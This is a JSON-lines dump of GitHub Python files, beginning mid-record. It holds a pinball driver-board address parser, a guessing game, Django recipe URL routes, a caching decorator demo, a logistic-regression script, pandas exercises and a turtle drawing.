self.coil_type == 'pdb':\n return self.boardnum * 2 + self.banknum\n\n return -1\n\n def output(self):\n \"\"\"Return the output number.\"\"\"\n return self.outputnum\n\n @classmethod\n def is_direct_coil(cls, string):\n \"\"\"Return true if it is a direct coil.\"\"\"\n if len(string) < 2 or len(string) > 3:\n return False\n if not string[0] == 'C':\n return False\n if not string[1:].isdigit():\n return False\n return True\n\n def is_pdb_coil(self, string):\n \"\"\"Return true if string looks like PDB address.\"\"\"\n return self.pdb.is_pdb_address(string)\n\n\nclass PDBLight:\n\n \"\"\"Base class for lights connected to a PD-8x8 driver board.\"\"\"\n\n def __init__(self, pdb, number_str):\n \"\"\"Find out light number.\"\"\"\n self.pdb = pdb\n upper_str = number_str.upper()\n if self.is_direct_lamp(upper_str):\n self.lamp_type = 'dedicated'\n self.output = int(number_str[1:])\n elif self.is_pdb_lamp(number_str):\n # C-Ax-By-z:R-Ax-By-z or C-x/y/z:R-x/y/z\n self.lamp_type = 'pdb'\n source_addr, sink_addr = self.split_matrix_addr_parts(number_str)\n (self.source_boardnum, self.source_banknum, self.source_outputnum) = pdb.decode_pdb_address(source_addr)\n (self.sink_boardnum, self.sink_banknum, self.sink_outputnum) = pdb.decode_pdb_address(sink_addr)\n else:\n self.lamp_type = 'unknown'\n\n def source_board(self):\n \"\"\"Return source board.\"\"\"\n return self.source_boardnum\n\n def source_bank(self):\n \"\"\"Return source bank.\"\"\"\n return self.source_boardnum * 2 + self.source_banknum\n\n def sink_bank(self):\n \"\"\"Return sink bank.\"\"\"\n return self.sink_boardnum * 2 + self.sink_banknum\n\n def source_output(self):\n \"\"\"Return source output.\"\"\"\n return self.source_outputnum\n\n def sink_output(self):\n \"\"\"Return sink output.\"\"\"\n return self.sink_outputnum\n\n def dedicated_output(self):\n \"\"\"Return dedicated output number.\"\"\"\n return self.output\n\n @classmethod\n def is_direct_lamp(cls, string):\n \"\"\"Return true if it looks like a direct lamp.\"\"\"\n if len(string) < 2 or len(string) > 3:\n return False\n if not string[0] == 'L':\n return False\n if not string[1:].isdigit():\n return False\n return True\n\n @classmethod\n def split_matrix_addr_parts(cls, string):\n \"\"\"Split the string of a matrix lamp address.\n\n Input is of form C-Ax-By-z:R-Ax-By-z or C-x/y/z:R-x/y/z or\n aliasX:aliasY. We want to return only the address part: Ax-By-z,\n x/y/z, or aliasX. That is, remove the two character prefix if present.\n \"\"\"\n addrs = string.rsplit(':')\n if len(addrs) != 2:\n return []\n addrs_out = []\n for addr in addrs:\n bits = addr.split('-')\n if len(bits) is 1:\n addrs_out.append(addr) # Append unchanged.\n else: # Generally this will be len(bits) 2 or 4.\n # Remove the first bit and rejoin.\n addrs_out.append('-'.join(bits[1:]))\n return addrs_out\n\n def is_pdb_lamp(self, string):\n \"\"\"Return true if it looks like a pdb lamp string.\"\"\"\n params = self.split_matrix_addr_parts(string)\n if len(params) != 2:\n return False\n for addr in params:\n if not self.pdb.is_pdb_address(addr):\n return False\n return True\n","repo_name":"colemanomartin/mpf","sub_path":"mpf/platforms/p_roc_devices.py","file_name":"p_roc_devices.py","file_ext":"py","file_size_in_byte":13155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"67"} +{"seq_id":"13051938183","text":"import random\nimport os\nfrom Score import add_score\nfrom Utils import screen_cleaner\n\n\ndef guess_game_greeting_gg(game_difficulty, name):\n print(f\"\"\"Hey {name} Welcome to the Guess Game!\n In this game you will need to Guess a number between 1 and the\n difficulty level number you choose previously:\"\"\")\n return game_difficulty, name\n\n\ndef generate_number(game_difficulty):\n secret_number = random.randint(1, game_difficulty)\n return secret_number\n\n\ndef get_guess_from_user(game_difficulty):\n choose_number = input(f\"Choose a number between 1 and the {game_difficulty}: \\n\")\n while choose_number.isdigit() is False or int(choose_number) < 1 or int(choose_number) > game_difficulty:\n choose_number = input(f\"Choose a number between 1 and the {game_difficulty}: \\n\")\n else:\n return int(choose_number)\n\n\ndef compare_results(secret_number, choose_number):\n same_number = 0\n # print(choose_number, secret_number)\n if secret_number == choose_number:\n same_number = 1\n else:\n same_number = 0\n return same_number\n # print(same_number)\n\n\ndef play_gg(game_difficulty, name):\n screen_cleaner()\n guess_game_greeting_gg(game_difficulty, name)\n secret_number = generate_number(game_difficulty)\n choose_number = get_guess_from_user(game_difficulty)\n result = compare_results(secret_number, choose_number)\n if result == 1:\n print(f\"Congratulations you WON ! \\n\")\n result = True\n add_score(game_difficulty, name, result)\n else:\n print(f\"Sorry you lost... the right numbers was {secret_number} \\n\")\n result = False\n add_score(game_difficulty, name, result)\n play_again = input(\"Would you like to play again? (y for yes): \\n \")\n if play_again.lower() == 'y':\n play_gg(game_difficulty, name)\n","repo_name":"salobena/WorldOfGames","sub_path":"GuessGame.py","file_name":"GuessGame.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30277167644","text":"from django.urls import include, path\nfrom rest_framework.routers import DefaultRouter\n\nfrom .views import RecipeViewSet\n\napp_name = 'recipes'\n\nrouter = DefaultRouter()\nrouter.register(r'recipes', RecipeViewSet, basename='recipes')\n\nurlpatterns = [\n path('recipes/download_shopping_cart/',\n RecipeViewSet.as_view({'get': 'download_shopping_list'}),\n name='download_shopping_list'),\n path('', include(router.urls)),\n path('recipes/<int:pk>/favorite/',\n RecipeViewSet.as_view({'post': 'create_favorite',\n 'delete': 'delete_favorite'}),\n name='create_delete_favorite'),\n path('recipes/<int:pk>/shopping_cart/',\n RecipeViewSet.as_view({'post': 'create_shopping_list',\n 'delete': 'delete_shopping_list'}),\n name='create_delete_shopping_list'),\n]\n","repo_name":"anthony-bogi/foodgram-project-react","sub_path":"backend/foodgram/recipes/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"15690454195","text":"import requests\nfrom time import time\nfrom functools import wraps, lru_cache\n\n\ndef record_time(f):\n def wrapper(*args, **kwargs):\n start = time()\n result = f(*args, **kwargs)\n end = time()\n print(end - start)\n return result\n \n return wrapper\n\n\ndef cache(f):\n cache_data = {}\n\n @wraps(f)\n def wrapper(n):\n result = cache_data.get(n)\n if not result:\n result = f(n)\n cache_data[n] = result\n return result\n return wrapper\n\n\n@cache\ndef fib(n):\n if n < 2:\n return n\n return fib(n-1) + fib(n-2)\n\n\n@record_time\ndef fib_start():\n return fib(35)\n\n\n\"\"\"\n使用装饰器分离出管理逻辑\n\"\"\"\n\n\ndef web_lookup(url, cache={}):\n \"\"\"混着业务和管理逻辑,无法重用\"\"\"\n print(cache)\n if url in cache:\n print('get from cache')\n return cache[url]\n page = requests.get(url)\n cache[url] = page\n print('get not from cache')\n return page\n\n\n@cache\ndef web_lookup(url):\n \"\"\"更好的方法\"\"\"\n return requests.get(url)\n\n# 注意:Python 3.2开始加入了functools.lru_cache解决这个问题。\n\n\nif __name__ == '__main__':\n fib_start()\n\n if False:\n url = 'http://baidu.com'\n print(web_lookup(url))\n print(web_lookup.__init__.__self__.__defaults__)\n print(web_lookup(url))\n","repo_name":"zelinhehe/myPythonTest","sub_path":"cache.py","file_name":"cache.py","file_ext":"py","file_size_in_byte":1354,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"39377451020","text":"\r\n\r\n\r\n\r\nimport pandas as pd\r\nimport seaborn as sn\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\n\r\n\r\ndataset = pd.read_csv('new_appdata10.csv')\r\n\r\n\r\n\r\nresponse = dataset[\"enrolled\"]\r\ndataset = dataset.drop(columns=\"enrolled\")\r\n\r\n\r\n\r\n\r\nfrom sklearn.model_selection import train_test_split\r\nX_train, X_test, y_train, y_test = train_test_split(dataset, response,\r\n test_size = 0.2,\r\n random_state = 0)\r\n\r\n\r\n\r\ntrain_identity = X_train['user']\r\nX_train = X_train.drop(columns = ['user'])\r\ntest_identity = X_test['user']\r\nX_test = X_test.drop(columns = ['user'])\r\n\r\n\r\n\r\nfrom sklearn.preprocessing import StandardScaler\r\nsc_X = StandardScaler()\r\nX_train2 = pd.DataFrame(sc_X.fit_transform(X_train))\r\nX_test2 = pd.DataFrame(sc_X.transform(X_test))\r\nX_train2.columns = X_train.columns.values\r\nX_test2.columns = X_test.columns.values\r\nX_train2.index = X_train.index.values\r\nX_test2.index = X_test.index.values\r\nX_train = X_train2\r\nX_test = X_test2\r\n\r\n\r\n\r\n\r\nfrom sklearn.linear_model import LogisticRegression\r\nclassifier = LogisticRegression(random_state = 0, penalty = 'l1')\r\nclassifier.fit(X_train, y_train)\r\n\r\n\r\n\r\n\r\ny_pred = classifier.predict(X_test)\r\n\r\n\r\n\r\n\r\nfrom sklearn.metrics import confusion_matrix, accuracy_score, f1_score, precision_score, recall_score\r\ncm = confusion_matrix(y_test, y_pred)\r\nprint(cm)\r\naccuracy_score(y_test, y_pred)\r\nprecision_score(y_test, y_pred) # tp / (tp + fp)\r\nrecall_score(y_test, y_pred) # tp / (tp + fn)\r\nf1_score(y_test, y_pred)\r\n\r\n\r\n\r\n\r\ndf_cm = pd.DataFrame(cm, index = (0, 1), columns = (0, 1))\r\nplt.figure(figsize = (10,7))\r\nsn.set(font_scale=1.4)\r\nsn.heatmap(df_cm, annot=True, fmt='g')\r\nprint(\"Test Data Accuracy: %0.4f\" % accuracy_score(y_test, y_pred))\r\n\r\n\r\n\r\n\r\nfinal_results = pd.concat([y_test, test_identity], axis = 1).dropna()\r\nfinal_results['predicted_reach'] = y_pred\r\nfinal_results = final_results[['user', 'enrolled', 'predicted_reach']].reset_index(drop=True)\r\n\r\n\r\n","repo_name":"neuronaitech/MANDADI-VAMSI-KRISHNA","sub_path":"APP SUBSCRIPTION/Project.py","file_name":"Project.py","file_ext":"py","file_size_in_byte":2007,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"1431896827","text":"\"\"\"Insert to `sys.path` the absolute path of `..`.\n\"\"\"\nimport inspect\nimport os\nimport sys\n\n\ndef get_here(follow_symlink: bool = True):\n # The script that called this function.\n caller = inspect.stack()[1][1]\n if follow_symlink:\n here = os.path.dirname(os.path.realpath(caller))\n else:\n here = os.path.dirname(os.path.abspath(caller))\n return here\n\n\ndef set_path():\n here = get_here()\n upper = os.path.dirname(here)\n sys.path.insert(1, upper)\n\n\nset_path()\n","repo_name":"mseok/PIGNet2","sub_path":"src/exe/path.py","file_name":"path.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"26996949292","text":"# 1\r\n'''create a DataFrame fruits'''\r\nfruits = pd.DataFrame({'Apples':[30],'Bananas':[21]})\r\n\r\n# 2\r\n'''Create a dataframe fruit_sales'''\r\nfruit_sales = pd.DataFrame({'Apples':[35,41],'Bananas':[21,34]},index=['2017 Sales','2018 Sales'])\r\n\r\n# 3\r\n'''Create a variable ingredients with a Series that looks like:\r\n\r\nFlour 4 cups\r\nMilk 1 cup\r\nEggs 2 large\r\nSpam 1 can\r\nName: Dinner, dtype: object'''\r\n\r\ningredients = pd.Series(['4 cups','1 cup','2 large','1 can'],index=['Flour','Milk','Eggs','Spam'],name='Dinner')\r\n\r\n# 4\r\n'''Read the following csv dataset of wine reviews into a DataFrame called reviews:\r\nThe filepath to the csv file is ../input/wine-reviews/winemag-data_first150k.csv'''\r\n\r\nreviews = pd.read_csv('../input/wine-reviews/winemag-data_first150k.csv',index_col=0)\r\n\r\n# 5\r\n'''Run the cell below to create and display a DataFrame called animals:'''\r\n'''write code to save this DataFrame to disk as a csv file with the name cows_and_goats.csv'''\r\nanimals.to_csv('cows_and_goats.csv')","repo_name":"code-drops/kaggle","sub_path":"courses/pandas/1. creating, reading and writing.py","file_name":"1. creating, reading and writing.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8080646093","text":"from turtle import *\ndef draw_star(x, y, l): \n penup()\n setpos(x,y)\n left(36)\n pendown()\n for i in range(5):\n forward(l)\n left(144)\ndraw_star(100,100,100)\nspeed(0)\ncolor('blue')\nfor i in range(100):\n import random\n x = random.randint(-300, 300)\n y = random.randint(-300, 300)\n length = random.randint(3, 10)\n draw_star(x, y, length)\n\nmainloop()","repo_name":"dinhquanghuy97/dinhquanghuy_fundamentals_c4e25","sub_path":"lab3/turtle5.py","file_name":"turtle5.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"}